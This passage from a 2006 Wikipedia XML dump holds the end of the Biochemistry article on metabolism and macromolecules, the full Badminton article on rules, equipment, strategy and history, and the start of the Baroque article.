Many monosaccharides joined together make a [[polysaccharide]]. They can be joined together in one long linear chain, or they may be branched. Two of the most common polysaccharides are [[cellulose]] and [[glycogen]], both consisting of repeating [[glucose]] [[monomer]]s. Cellulose is made by [[plant]]s and is an important structural component of their [[cell wall]]s. [[Human]]s can neither manufacture nor digest it. Glycogen, on the other hand, is an [[animal]] carbohydrate; humans use it as a form of energy storage.

[[Image:Glycolysis10steps.gif|thumb|right|250px|A schematic of [[glucose]] undergoing [[glycolysis]] to produce [[pyruvate]].]]
Glucose is the major energy source in most life forms; a number of [[catabolism|catabolic]] pathways converge on glucose. For instance, polysaccharides are broken down into their monomers ([[glycogen phosphorylase]] removes glucose residues from glycogen). Disaccharides like [[lactose]] or [[sucrose]] are cleaved into their two component monosaccharides. Glucose is metabolized by a very important and ancient ten-step pathway called [[glycolysis]], the net result of which is to break down one molecule of glucose into two molecules of [[pyruvate]]; this also produces a net two molecules of [[Adenosine triphosphate|ATP]], the energy currency of cells, along with two reducing equivalents in the form of converting [[NAD]] to [[NADH]]. This does not require oxygen; if no oxygen is available (or the cell cannot use oxygen), the [[NAD]] is restored by converting the pyruvate to [[lactate]] (in humans, for instance) or to [[ethanol]] in [[yeast]]. Other monosaccharides like galactose and fructose can be converted into intermediates of the glycolytic pathway. In [[aerobic]] cells with sufficient oxygen, like most human cells, the pyruvate can be further metabolized. It is irreversibly converted to [[acetyl-CoA]], giving off one carbon atom as the waste product [[carbon dioxide]], generating another molecule of ATP, and generating another reducing equivalent as [[NADH]]. The two molecules acetyl-CoA (from one molecule of glucose) then enter the [[citric acid cycle]], producing two more molecules of ATP, six more [[NADH]] molecules and two of a related molecule [[FADH2|FADH&lt;sub&gt;2&lt;/sub&gt;]], and releasing the remaining carbon atoms as carbon dioxide. The reduced NADH and FADH&lt;sub&gt;2&lt;/sub&gt; then enter the [[electron transport system]], where the electrons are transferred to a molecule of [[oxygen]], producing water, and the original NAD&lt;sup&gt;+&lt;/sup&gt; and FAD are regenerated. This is why humans breath in oxygen and breath out carbon dioxide. The energy in transferring the electrons from high-energy states in NADH and FADH&lt;sub&gt;2&lt;/sub&gt; is used to generate an additional ''28'' molecules of ATP (only two had been produced in glycolysis), for a total of 32 molecules of ATP. It is clear that using oxygen to completely oxidize glucose provides an organism with far greater energy, and it is why complex life appeared only after Earth's atmosphere accumulated large amounts of oxygen.

In [[vertebrate]]s, vigorously contracting [[skeletal muscle]] (during weightlifting or sprinting, for example) does not receive enough oxygen to meet the energy demand, and so it shifts to [[anaerobic metabolism]], converting glucose to lactate (lactic acid). The [[liver]] can regenerate the glucose, using a process called [[gluconeogenesis]]. This process is not quite the opposite of glycolysis, and actually requires three times the amount of energy gained from glycolysis (six molecules of ATP are used, compared to the two gained in glycolysis). Analogous to the above reactions, the glucose produced can then undergo glycolysis in tissues that need energy, be stored as glycogen (or starch in plants), or be converted to other monosaccharides or joined into di- or oligosaccharides.

==Proteins==
{{main|Protein}}
[[Image:Hemoglobin.jpg|thumb|right|150px|A schematic of [[hemoglobin]]. The ribbon parts represent the protein [[globin]]; the four green parts are the [[heme]] groups.]]
Like carbohydrates, some proteins perform largely structural roles. For instance, movements of the proteins [[actin]] and [[myosin]] ultimately are responsible for the contraction of skeletal muscle. One property many proteins have is that they specifically bind to a certain molecule or class of molecules&amp;mdash;they may be ''extremely'' selective in what they bind. [[Antibody|Antibodies]] are an example of proteins that attach to one specific type of molecule. In fact, the [[enzyme-linked immunosorbent assay]] (ELISA), which uses antibodies, is currently one of the most sensitive tests modern medicine uses to detect various biomolecules. Probably the most important proteins, however, are the [[enzyme]]s. These amazing molecules recognize specific reactant molecules called ''[[substrate]]s''; they then [[catalyze]] the reaction between them. By lowering the [[activation energy]], the enzyme speeds up that reaction by a rate of 10&lt;sup&gt;11&lt;/sup&gt; or more: a reaction that would normally take over 3,000 years to complete spontaneously might take less than a second with an enzyme. The enzyme itself is not used up in the process, and is free to catalyze the same reaction with a new set of substrates. Using various modifiers, the activity of the enzyme can be regulated, enabling control of the biochemistry of the cell as a whole.

In essence, proteins are chains of [[amino acid]]s. An amino acid consists of a carbon atom bound to four groups. One is an [[amino]] group, &amp;mdash;NH&lt;sub&gt;2&lt;/sub&gt;, and one is a [[carboxylic acid]] group, &amp;mdash;COOH (although these exist as &amp;mdash;NH&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt; and &amp;mdash;COO&lt;sup&gt;&amp;minus;&lt;/sup&gt; under physiologic conditions). The third is a simple [[hydrogen]] atom. The fourth is commonly denoted &quot;&amp;mdash;R&quot; and is different for each amino acid. There are twenty standard amino acids. Some of these have functions by themselves or in a modified form; for instance, [[glutamate]] functions as an important [[neurotransmitter]].

[[Image:Amino acids 1.png|thumb|right|350px|Generic amino acids (1) in neutral form, (2) as they exist physiologically, and (3) joined together as a [[dipeptide]].]]
Amino acids can be joined together via a [[peptide bond]]. In this dehydration synthesis, a water molecule is removed and the peptide bond connects the nitrogen of one amino acid's amino group to the carbon of the other's carboxylic acid group. The resulting molecule is called a ''[[dipeptide]]'', and short stretches of amino acids (usually, fewer than around thirty) are called ''[[peptide]]s'' or polypeptides. Longer stretches merit the title ''proteins''. As an example, the imporant blood [[serum]] protein [[albumin]] contains 585 amino acid residues.

The structure of proteins is traditionally described in a hierarchy of four levels. The [[primary structure]] of a protein simply consists of its linear sequence of amino acids; for instance, &quot;alanine-glycine-tryptophan-serine-glutamate-asparagine-glycine-lysine-...&quot;. [[Secondary structure]] is concerned with local morphology. Some combinations of amino acids will tend to curl up in a coil called an [[alpha helix|&amp;alpha;-helix]]; some of these can be seen in the hemoglobin schematic above. [[Tertiary structure]] is the entire three-dimensional shape of the protein. This shape is determined by the sequence of amino acids. In fact, a single change can change the entire structure.  The &amp;beta; chain of hemoglobin contains 146 amino acid residues; substitution of the [[glutamate]] residue at position 6 with a [[valine]] residue changes the behavior of hemoglobin so much that it results in [[sickle-cell disease]]. Finally [[quaternary structure]] is concerned with the structure of a protein with multiple peptide subunits, like hemoglobin with its four subunits. Not all proteins have more than one subunit.

Ingested proteins are usually broken up into single amino acids or dipeptides in the [[small intestine]], and then absorbed. They can then be joined together to make new proteins. Intermediate products of glycolysis, the citric acid cycle, and the [[pentose phosphate pathway]] can be used to make all twenty amino acids, and most bacteria and plants possess all the necessary enzymes to synthesize them. Humans and other mammals, however, can only synthesize half of them. They cannot synthesize [[isoleucine]], [[leucine]], [[lysine]], [[methionine]], [[phenylalanine]], [[threonine]], [[tryptophan]], and [[valine]]. These are the [[essential amino acid]]s, since it is essential to ingest them. Mammals do possess the enzymes to synthesize [[alanine]], [[asparagine]], [[aspartate]], [[cysteine]], [[glutamate]], [[glutamine]], [[glycine]], [[proline]], [[serine]], and [[tyrosine]], the nonessential amino acids. While they can synthesize [[arginine]] and [[histidine]], they cannot produce it in sufficient amounts for young, growing animals, and so these are often considered essential amino acids.

If the amino group is removed from an amino acid, it leaves behind a carbon skeleton called an &amp;alpha;-[[keto acid]]. Enzymes called [[transaminase]]s can easily transfer the amino group from one amino acid (making it an &amp;alpha;-keto acid) to another &amp;alpha;-keto acid (making it an amino acid). This is important in the biosynthesis of amino acids, as for many of the pathways, intermediates from other biochemical pathways are converted to the &amp;alpha;-keto acid skeleton, and then an amino group is added, often via [[transamination]]. The amino acids may then be linked together to make a protein.

A similar process is used to break down proteins. It is first hydrolyzed into its component amino acids. Free [[ammonia]] (NH&lt;sub&gt;3&lt;/sub&gt;, existing as the [[ammonium]] ion NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;) in blood) is toxic to life forms. A suitable method for excreting it must therefore exist. Different strategies have evolved in different animals, depending on the animals' needs. [[Unicellular]] organisms, of course, simply release the ammonia into the environment. Similarly, [[osteichthyes|bony fish]] can release the ammonia into the water where it is quickly diluted. In general, mammals convert the ammonia into [[urea]], via the [[urea cycle]].

==Lipids==
{{main|Lipid}}

The term lipid comprises a diverse range of [[molecules]] and to some extent is a catchall for relatively water-insoluble or [[nonpolar]] compounds of biological origin, including [[wax]]es, [[fatty acid]]s, fatty-acid derived phospholipids, sphingolipids, glycolipids and terpenoids, such as retinoids and [[steroids]]. Some lipids are linear [[aliphatic]] molecules, while others have ring structures. Some are [[aromatic]], while others are not. Some are flexible, while others are rigid.

Most lipids have some [[polar molecule|polar]] character in addition to being largely nonpolar. Generally, the bulk of their structure is nonpolar or [[hydrophobic]] (&quot;water-fearing&quot;), meaning that it does not interact well with polar solvents like water. Another part of their structure is polar or [[hydrophilic]] (&quot;water-loving&quot;) and will tend to associate with polar solvents like water. This makes them [[amphiphilic]] molecules (having both hydrophobic and hydrophilic portions).  In the case of [[cholesterol]], the polar group is a mere -OH ([[hydroxyl]] or alcohol). In the case of phospholipids, the polar groups are considerably larger and more polar, as described below.

==Nucleic acids==
{{main|Nucleic acid}}

A nucleic acid is a complex, high-molecular-weight [[biochemistry|biochemical]] [[macromolecule]] composed of [[nucleotide]] chains that convey [[genetic information]]. The most common nucleic acids are deoxyribonucleic acid ([[DNA]]) and ribonucleic acid ([[RNA]]). Nucleic acids are found in all living cells and viruses.

Nucleic acid, so called because of its prevalence in cellular [[cell nucleus|nuclei]], is the generic name of family of [[biopolymer]]s.  The [[monomer]]s are called [[nucleotide]]s, and each consists of three components: a nitrogenous [[heterocyclic]] [[base (chemistry)|base]] (either a [[purine]] or a [[pyrimidine]]), a [[pentose]] [[sugar]], and a [[phosphate]] group.  Different nucleic acid types differ in the specific sugar found in their chain (e.g. DNA or deoxyribonucleic acid contains 2-[[deoxyribose]]s). Also, the nitrogenous bases possible in the two nucleic acids are different: [[adenine]], [[cytosine]], and [[guanine]] are possible in both RNA and DNA, while [[thymine]] is possible only in DNA and [[uracil]] is possible only in RNA.

==Relationship to other &quot;molecular-scale&quot; biological sciences==
[[Image:Schematic relationship between biochemistry, genetics and molecular biology.svg|thumb|250px|right|''Schematic relationship between biochemistry, genetics and molecular biology'']]
Researchers in biochemistry use specific techniques native to biochemistry, but increasingly combine these with techniques and ideas from [[genetics]], [[molecular biology]] and [[biophysics]].  There has never a hard-line between these disciplines in terms of content and technique, but members of each discipline have in the past been very territorial; today the terms ''molecular biology'' and ''biochemistry'' are nearly interchangeable.  The following figure is a schematic that depicts one possible view of the relationship between the fields:

*''Biochemistry'' is the study of the chemical substances and vital processes occurring in living [[organisms]]. 
*''Genetics'' is the study of the effect of genetic differences on organisms. Often this can be inferred by the absence of a normal component (e.g. one [[gene]]). The study of &quot;[[mutant|mutants]]&quot; &amp;ndash; organisms which lack one or more functional components with respect to the so-called &quot;[[wild type]]&quot; or normal [[phenotype]]. [[Genetic interactions]] ([[epistasis]]) can often confound simple interpretations of such &quot;knock-out&quot; studies.
*''Molecular biology'' is the study of molecular underpinnings of the process of replication, transcription and translation of the [[genetic material]].  The [[central dogma of molecular biology]] where genetic material is transcribed into RNA and then translated into protein, despite being an oversimplified picture of molecular biology, still provides a good starting point for understanding the field. This picture, however, is undergoing revision in light of emerging novel roles for [[RNA]].
*''Chemical Biology'' seeks to develop new tools based on [[small molecule]]s that allow minimal perturbation of biological systems while providing detailed information about their function. Further, chemical biology employs biological systems to create non-natural hybrids between biomolecules and synthetic devices (for example emptied viral capsids that can deliver gene therapy or drug molecules).

==Further reading==
*Graeme K. Hunter, ''Vital Forces. The discovery of the molecular basis of life'', London: Academic Press 2000
==See also==
* [[List of basic biochemistry topics|Biochemistry key topics]]
* [[Biological psychiatry]]
* [[Chemical ecology]]
* [[Chemical imbalance theory]]
* [[List of publications in biology#Biochemistry|Important publications in biochemistry (biology)]]
* [[List of publications in chemistry#Biochemistry|Important publications in biochemistry (chemistry)]]
* [[List of biochemistry topics]]
* [[List of biochemists]]
* [[List of biomolecules]]
* [[List of geneticists &amp; biochemists]]
* [[Molecular biology]]
* [[Chemical biology]]
* [[Computational biomodeling]]

==External links==
{{wikibooks}}
{{Wikibookspar|Wikiversity|Biochemistry}}
*[http://www.biochemweb.org/  The Virtual Library of Biochemistry and Cell Biology]
*[http://www.biotecnologia.co.cr/  Costa Rican Biotechnology Society]
&lt;br clear=all&gt;

{{Biology-footer}}
{{BranchesofChemistry}}

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    </revision>
  </page>
  <page>
    <title>Badminton</title>
    <id>3956</id>
    <revision>
      <id>42118881</id>
      <timestamp>2006-03-03T23:12:54Z</timestamp>
      <contributor>
        <ip>65.223.41.10</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">''This article is about the racquet sport '''badminton'''.  For other uses of the name, see [[Badminton (disambiguation)]].''

[[Image:Badminton_court_3d_small.png|right|thumb|250px|Badminton court, isomorphic view]] 

'''Badminton''' is a [[List of sports#Racquet (or racket) sports|racket (or racquet) sport]] played by either two opposing players (singles) or two opposing pairs (doubles). 

Players at opposite ends of the court aim to hit a [[shuttlecock]], more informally called a birdie, over the net so that it lands inside the marked boundaries of the court, and aim to prevent their opponents from doing the same. Unlike a [[tennis ball]], the shuttlecock flies with a lot of [[drag (physics)|drag]], and will not bounce significantly. The shuttlecock is always volleyed, and a point ends as soon as it touches the ground.  Badminton racquets have long handles, to make it easier to impart a great deal of [[momentum]] to overcome the drag. The racquets are also much lighter than tennis racquets, because the shuttlecock is light. Badminton is one of the fastest sports in the world with shuttles reaching speeds of up to 332&amp;nbsp;km/h (206&amp;nbsp;mph). [[Fu Haifeng]] of [[China]] set the official record [[July 3]], [[2005]]. 

Although the size of a badminton court is smaller than that of a tennis court, the distance run by a player in a match is usually much greater than that in tennis.  This is due, in part, to the fact that the entire court must be covered by the player as the [[shuttlecock]] is not allowed to bounce before being returned.  Also, the rallies of each point tend to be much longer than tennis.  This is true even though winning a 'shutout' match in badminton requires only winning 30 points (15-0, 15-0, in a Men's Single match) whereas in tennis it would require 72 points (6-0, 6-0, 6-0). 
The game of badminton may look easy to play, but it can be physically more tiring than tennis since the tennis ball travels at a much slower speed as compared to a shuttlecock.  Speed, reaction, and endurance are all important to being a successful badminton player. From a fitness perspective a close comparison can be made to [[squash]] which also has the same explosive starts.

As in tennis, there are typically five events: men's singles, women's singles, men's doubles, women's doubles and mixed doubles (each pair is composed of one man and one woman).

==The service court==
One decides between two service courts. There is the service court for singles, which is 5.18 meters wide by 13.40 meters long and the service court for doubles is 6.10 meters wide by 11.88 meters long. The service court is divided in two parts. In the middle of the court there is a net, which is 1.55 meters high. The short service lines go away 1.98 meters from the net. Left service court and right service court are divided by the center line.

==Equipment==
[[Image:Heads of badminton raquets.jpg|right|thumb|300px|Badminton racquets]]

'''Racquet:''' Traditionally racquets were made of wood. Later on aluminium or other light metals became the material of choice. Now, almost all professional badminton [[racquets]] are composed of carbon fiber composite ([[graphite reinforced plastic]]), and even [[titanium]] composites. Carbon fiber has an excellent strength to weight ratio, is stiff, and gives excellent kinetic energy transfer. However, some low-end models still use steel or aluminum for some or all of the racquet.  

'''String:''' Perhaps one of the most overlooked areas of badminton equipment is the string. Different types of string have different response properties. Durability generally varies with performance. Most strings are 21 gauge in thickness and strung at 18 to 30 [[pound-force|lbf]] (80 to 130 [[newton]]s) of [[Tension (mechanics)|tension]].  Racquets strung at lower tensions (18 to 21 lbf or 80 to 95 N) generate greater power while racquets strung at higher tensions provide greater control (21 lbf, over 95 N). This is due to the trampolining effect - at lower tensions the shuttlecock can trampoline off, and the elastic recoil increases the power. Players' personal preferences play a strong role in string selection.

'''Shoes:''' Because acceleration across the court is so important, players need excellent grip with the floor at all times. Badminton [[shoes]] need a gum sole for good grip, reinforced side walls for durability during drags, and shock dispersion technology for jumping; badminton places a lot of stress on the knees and ankles. 

The [[Japan|Japanese]] manufacturer [[Yonex]] dominates the badminton equipment market, making racquets, shoes, and everything in between.

==Playing the game==
Each player or pair takes position on either side of a net on a rectangular court marked on the floor, as shown in the diagrams.

The object of the game is to hit a shuttlecock (normally shortened to &quot;shuttle&quot; or &quot;cock&quot;; more colloquially, &quot;bird&quot; or &quot;birdie&quot;), using a racquet, over the net onto the court within the marked boundaries before the opposing player or pair can hit it back. For every time this is achieved by the team currently serving, the serving player or pair scores one point.  After winning a point the same player serves again, and continues to serve as long as they continue to win points. If the non-serving team wins the rally, no point is scored but instead there is a change of server.
In doubles, one server starts the game, and after losing a rally the serve switches to the opposing team. From then on, both players on a team take turns serving before the serve switches back to their opponents. The player on the right-hand serving side always begins the serving.

== The Rules == 
At the start of a match, a coin is tossed.  The side that wins the toss may choose whether to serve first, or may choose which end of the court to play.  The other side exercises the remaining choice.  In less formal settings, the shuttle may be hit into the air to determine which side serves: the shuttle lands pointing to the serving side.
 
'''Scoring'''

The first player or pair to reach 15 points (11 points for women's singles) wins the game. If the score reaches 14-all (10-all for women's singles) the receiving side can choose to &quot;set&quot; and hence extend the game by 3 points, i.e. the first to reach 17 (or 13) points wins. If the non-serving side chooses not to set, the game is decided by a single point, i.e. the first to reach 15 (or 11) points wins.

A badminton match can be made up of any odd number of games (3 in official matches). The winner of the match is the first to win more than half the number of games (e.g. the first to win 2 games in a 3 game match).

'''Service'''

The serve must be in an upwards direction, to land in the diagonally opposite service court.  At the moment of impact on service, the shuttle must be below the waist, and the whole of the racket head must be below the hand holding the racket.  These rules are designed to limit the attacking options of the server. A point is only added to the score on service.  Unlike tennis, there is no &quot;let&quot; on service if the shuttle hits the tape.

At the start of a doubles game, the first side to serve will only continue serving until they lose a rally.  After that, the serve will pass to the opponents, and for the remainder of the game both members of a serving pair will have an opportunity to serve. A server must change service courts after each rally won, so that he serves to the other opponent.  The receiving pair, however, will not vary their positions in this way.  When a pair have just regained the service, the first serve is always delivered by the player in the right-hand service court.

In singles each player has only one serve at a time; if the serve is lost, it passes to the opponent.

'''Experimental IBF Scoring'''

In December 2005 the [[International Badminton Federation|International Badminton Federation]] started an experimental scoring system for IBF events. The new system incorporates rally point scoring; a point can be won by the serving and receiving player or pair. In the traditional system only the serving player or pair could win a point. Under the new system games are played to 21 points, also for women's singles. A difference of 2 points is needed, up until 29-29, where the first player or pair to reach 30 wins. In doubles there is no second server anymore under the new system. When the serving pair loses a rally the serve passes immediately to the other pair. Pairs only switch service courts when they won a point while serving. If the pair who has won right to serve has an even score, the player in the right service court will serve, if the score is uneven the player in the left service court will serve.

Besides the new scoring system the experiment also has a rule change concerning breaks during a match. When a side reaches 11 points, both sides get a 60 second break. Between first and second game, as well as between second and third game, players receive a 2-minute break.

'''Faults'''

When players commit a fault, they lose the rally.  The most common fault is for a player to fail to return the shuttle before it hits the floor, or to return it so that it lands out of court.  It is also a fault if the shuttle touches the person or dress of a player, or in doubles if both players hit the shuttle.

At lower levels of play, players often commit service faults without realising. For example, see rules on service, above.

'''Lets'''

If a let is called, the rally is restarted.  Lets are rare in professional play; they occur whenever some unexpected circumstance arises that interferes with the rally.  For example, a let is called if the shuttle passes over the net and then becomes entangled in the net (except on service, when this is deemed a fault).

==Strategy==
To win in badminton, players need to employ a wide variety of strokes in the right situations.  These range from extraordinarily powerful jumping smashes to soft, delicate tumbling net returns.  The smash is a powerful overhead stroke played steeply downwards into the middle or rear of the opponents' court; it is similar to a tennis serve, but much faster: the shuttlecock can travel at 300km/h (186 mph).  This is a very effective stroke, and pleases the crowds, but smashing is only one part of the game.  Often rallies finish with a smash, but setting up the smash requires subtler strokes.  For example, a netshot can force the opponent to lift the shuttle, which gives an opportunity to smash.  If the netshot is tight and tumbling, then the opponent's lift will not reach the back of the court, which makes the subsequent smash much harder to return.

Deception is also important.  Expert players make the preparation for many different strokes look identical, so that their opponents cannot guess which stroke will be played.  For many strokes, the shuttlecock can be sliced to change its direction; this allows a player to move his racket in a different direction to the trajectory of the shuttlecock.  If an opponent tries to anticipate the stroke, he will move in the wrong direction and may be unable to change his body momentum in time to reach the shuttlecock.

'''Doubles:''' In doubles, each side has two players.  Both sides will try to gain and maintain the attack, hitting downwards as much as possible.  Usually one player will strive to stay at the back of the court and the other at the front, which is an optimal attacking position: the back player will smash and occasionally drop the shuttlecock to the net, and the front player will try to intercept any flat returns or returns to the net.  Typical play involves hitting the shuttle in a trajectory as low and flat as possible, to avoid giving away the attack.  A side that hits a high shot must prepare for a smash and retreat to a side-by-side defensive position, with each player covering half of the court.  The first serve is usually a low serve to force the other side to lift the shuttle. A &quot;flick serve&quot;, in which the player will pretend to serve low but hit it high to catch the receiver off-guard, is sporadically used throughout the game.  Doubles is a game of speed, aggression, and agility.

'''Singles:''' Players will serve high to the far back end of the court, although at the international level low serves are now frequently used as well. The singles court is narrower than the doubles court, but the same length.  Since one person needs to cover the entire court, singles tactics are based on forcing the opponent to move as much as possible; this means that singles shots are normally directed to the corners of the court.  The depth of the court is exploited by combining clears (high shots to the back) with drops (soft downwards shots to the front).  Smashing is less prominent in singles than in doubles because players are rarely in the ideal position to execute a smash, and smashing out of position leaves the smasher very vulnerable if the shot is returned. At high levels of play, singles demands extraordinary fitness.  It is a game of patient tactical play, unlike the all-out aggression of doubles.

'''Mixed doubles:''' In this discipline, a man and a woman play as a doubles pair.  Mixed doubles is similar to &quot;level&quot; doubles (where pairs are of the same gender), but important changes in tactics are usually made in order to accommodate the difference in strength between men and women.  In mixed doubles, both pairs try to maintain an attacking formation with the woman at the front and the man at the back.  This is because the male players are substantially stronger, and can therefore produce more powerful smashes.  As a result, mixed doubles requires greater tactical awareness and subtler positional play.  Clever opponents will try to reverse the ideal position, by forcing the woman towards the back or the man towards the front.  In order to protect against this danger, mixed players must be careful and systematic in their shot selection.

==History==
An early ancestor of the game may have been the Chinese game of [[jianzi]] which involves using a shuttlecock but no racquet. Instead the object was manipulated with the feet.  The object of the game is to keep the shuttlecock from touching the ground as long as possible without using the hands.

[[Image:Battledore-and-shuttlecock.jpg|right|thumb|300px|Battledore and shuttlecock, an antecedent to the modern game of Badminton. &lt;br&gt;''1854, from the [[John Leech]] Archive'' [http://www.john-leech-archive.org.uk/] ]]

In [[England]] since medieval times a children's game called ''Battledores and Shuttlecocks'' was popular. Children would use paddles (Battledores) and work together to keep the Shuttlecock up in the air and prevent it from reaching the ground. It was popular enough to be a nuisance on the street of London in [[1854]] when the magazine [[Punch magazine|Punch]] published this cartoon.

The British took the game to [[Japan]], [[China]] and [[Siam]] as they colonised [[Asia]], and it soon became a children's game there.

The competitive sport of badminton was invented by [[British Army]] officers in [[Pune]], [[India]] in the [[19th century]] when they added a net and played it competitively. As the city of Pune was formerly known as Poona, the game was also known as Poona at that time.

Soldiers brought the game back to [[England]] in the [[1850]]s.  The sport got its current name in [[1860]] in a pamphlet by [[Isaac Spratt]], a London toy dealer, entitled &quot;Badminton Battledore - a new game&quot;. This described the game as played at [[Badminton House]], the Duke of Beaufort's estate in [[Gloucestershire]], England.

The first official set of rules was written by the Bath Badminton Club in [[1877]]. The Badminton Association of England was formed in 1893 and the first international championship took place in [[1899]] with the [[Yonex All-England Open Badminton Championships|All England Championships]].

Badminton became a popular sport in the world, primarily in East and [[Southeast Asia]], which currently dominates the sport, and in the [[Scandinavia|Scandinavian]] countries.

The International Badminton Federation (IBF) was established in [[1934]] and had England, Ireland, Scotland, Wales, Denmark, Holland, Canada, New Zealand and France as by founding members. India joined as an affiliate in [[1936]].  In the Extraordinary General Meeting of December 2004, a proposal to move the IBF office from the UK to Kuala Lumpur, Malaysia was tabled and subsequently approved amid heated discussion.

It became a [[Summer Olympic]] sport at the [[1992 Summer Olympics|Barcelona Olympics]] in [[1992]]. [[Indonesia]] and [[Korea]] shared the gold medal with two each that year.

The IBF has been tinkering with the scoring system in an effort to commercialize the sport.  A recent experiment of playing a match of 5 games of 7 points instead of the current 3 games of 15 points failed to garner the support of the fans, players and coaches after a year.  The next experiment is to have 3 games of 21 points where every rally will result in a point being awarded (just like volleyball) which will debut in the next World Cup to be held in December 2005 in China. The experiment will last until May 2006, when the IBF General Meeting will decide if the rules of the experiment will become permanent.

==Sources==
&quot;Badminton- Schlagarten und Flugkurven aus: Badminton in der Schule. Eine Informationsmappe für Lehrer; Deutscher Badminton-verband e.V. (1. Auflage, Mühlheim an der Ruhr, 1991) &quot;

Cartoon taken from  the [http://john-leech-archive.org.uk John Leech Archive]  which gave the artist as John Leech and the date as 1854.

==See also==
* [[China Open]]
* [[Denmark Open]]
* [[Djarum Indonesia Open]]
* [[List of Badminton World Champions]]
* [[Speed Badminton]]
* [[World Badminton Championships|World Championships in Badminton]]
* [[All England Open Badminton Championships]]

==External links==
* [http://www.worldbadminton.com/ WorldBadminton.com]
* [http://www.badders.com/ Badders.com]
* [http://www.badmintoncentral.com/ Badminton Central]
* [http://www.badmintonforum.com/ Badminton Forum]
* [http://badminton.on-topic.net/ Badminton Topics]
* [http://www.intbadfed.org/ International Badminton Federation]
* [http://www.worldbadminton.net/ WorldBadminton.net]
* [http://www.eurobadminton.org/ European Badminton Union]
* [http://www.badmintonliga.be/ Belgian Badminton Association]
* [http://www.yumaoclub.com/ Chinese Badminton Site(&amp;#32701;&amp;#27611;&amp;#29699;&amp;#25293;)]
* [http://www.tradgames.org.uk/games/Battledore-Shuttlecock.htm History of the game]
* [http://badminton-indonesia.com/ Indonesian Badminton Site]
* [http://dmoz.org/Sports/Badminton/ Badminton] from the [[Open Directory Project]] 
* [http://www.usabadminton.org/ USA Badminton]
* [http://www.schsb.com.com/ SCHSB.COM]
* [http://www.ocbadmintonclub.com/ OCBadminton.com]
* [http://lesboys.minidns.net/badminton/ Junior Badminton Club of Orléans (Ontario, Canada)]
* [http://www.badminton.ca Badminton Canada]
* [http://www.valebadminton.co.uk Vale Badminton UK]

 


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[[Category:Olympic sports]]
[[Category:Badminton]]

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  </page>
  <page>
    <title>Baroque</title>
    <id>3957</id>
    <revision>
      <id>41609602</id>
      <timestamp>2006-02-28T14:09:53Z</timestamp>
      <contributor>
        <username>Aksi great</username>
        <id>504572</id>
      </contributor>
      <comment>Revert to revision 41422804 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">[[Image:Rubens.adoration.650pix.jpg|thumb|right|250px|''Adoration,'' by [[Peter Paul Rubens]]: dynamic figures spiral down around a void: draperies blow: a whirl of movement lit in a shaft of light, rendered in a free bravura handling of paint.]]

In the [[the arts|arts]], '''Baroque''' (or '''baroque''') is both a period and the artistic [[style]] that dominated it. The Baroque style used exaggerated motion and clear, easily interpreted detail to produce drama, tension, exuberance, and grandeur in [[sculpture]], [[painting]], [[literature]], and [[music]].  The style started around 1600 in [[Rome]], [[Italy]] and spread to most of [[Europe]]. In music, the Baroque applies to the final period of dominance of imitative [[counterpoint]].

(The name adapted a [[French language|French]] [[adjective]] that is derived from the [[Portuguese language|Portuguese]] [[noun]] &quot;barroco&quot;; both described a [[pearl]] of irregular shape. Some confusion can occur in using for the period and style the [[Minuscule|lower-case]]d version &quot;baroque&quot;, which can instead mean merely &quot;elaborate&quot; [or especially &quot;overly elaborate&quot;] without implying connection to the period.) 

The popularity and success of the &quot;Baroque&quot; was encouraged by the [[Roman Catholic Church]] when it decided that the drama of the Baroque artists' style could communicate religious themes in direct and emotional involvement.  The secular aristocracy also saw the dramatic style of Baroque architecture and art as a means of impressing visitors and would-be competitors. Baroque palaces are built round an entrance sequence of courts, anterooms, grand staircases, and reception rooms of sequentially increasing magnificence. Many forms of art, music, architecture, and literature inspired each other in the &quot;Baroque&quot; [[cultural movement]].

==Evolution of the Baroque==
In recent history, western European civilizations have faced three critical questions (in chronological order): Which religion to follow; which government to uphold; and how to bring equality to everyone. The matter of religion was resolved after [[Martin Luther]], [[John Calvin]], and others initiated a [[Protestant Reformation]] that gave many European monarchs an excuse to become more independent from [[The Holy Roman Empire]]. This led to a [[Counter Reformation]] by the [[Roman Catholic Church]] which included a push for new forms of art that exalted the Church's holy position.

Beginning around the year 1600, the demands for new art resulted in what is now known as the Baroque. The canon promulgated at the [[Council of Trent]] (1545&amp;ndash;63), by which the [[Roman Catholic Church]]  addressed the representational arts by demanding that paintings and sculptures in church contexts should speak to the illiterate rather than to the well-informed, is customarily offered as an inspiration of the Baroque, which appeared, however, a generation later.  This turn toward a populist conception of the function of ecclesiastical art is seen by many [[Art history|art historians]] as driving the innovations of [[Michelangelo Merisi|Caravaggio]] and the [[Carracci]] brothers, all of whom were working (and competing for commissions) in Rome at that time.

The appeal of Baroque style turned consciously from the witty, intellectual qualities of 16th century [[Mannerism|Mannerist]] art to a visceral appeal aimed at the senses. It employed an iconography that was direct, simple, obvious, and dramatic (''see the ''Prometheus'' sculpture below'').  Baroque art drew on certain broad and heroic tendencies in [[Annibale Carracci]] and his circle, and found inspiration in other artists like [[Antonio da Correggio|Correggio]] and [[Michelangelo Merisi|Caravaggio]] and [[Federico Barocci]], nowadays sometimes termed 'proto-Baroque'.

[[Image:Adampromethe.jpg|thumb|right|250px|''Prometheus'', by Nicolas-Sébastien Adam, 1737 ([[Louvre Museum|Louvre]]): a hectic tour-de-force of violent contrasts of stress, multiple angles and viewpoints, and extreme emotion.]]
Germinal ideas of the Baroque can also be found in the work of [[Michelangelo Buonarroti|Michelangelo]]. 

Some general parallels in music make the expression &quot;Baroque music&quot; useful.  Contrasting phrase lengths, harmony and [[counterpoint]] ousted [[polyphony]], and orchestral color made a stronger appearance. (See [[Baroque music]].) Similar fascination with simple, strong, dramatic expression in poetry, where clear, broad syncopated rhythms replaced the enknotted elaborated metaphysical similes employed by [[Mannerism|Mannerist]]s such as [[John Donne]] and imagery that was strongly influenced by visual developments in painting, can be sensed in [[John Milton]]'s ''[[Paradise Lost]],'' a Baroque epic. 

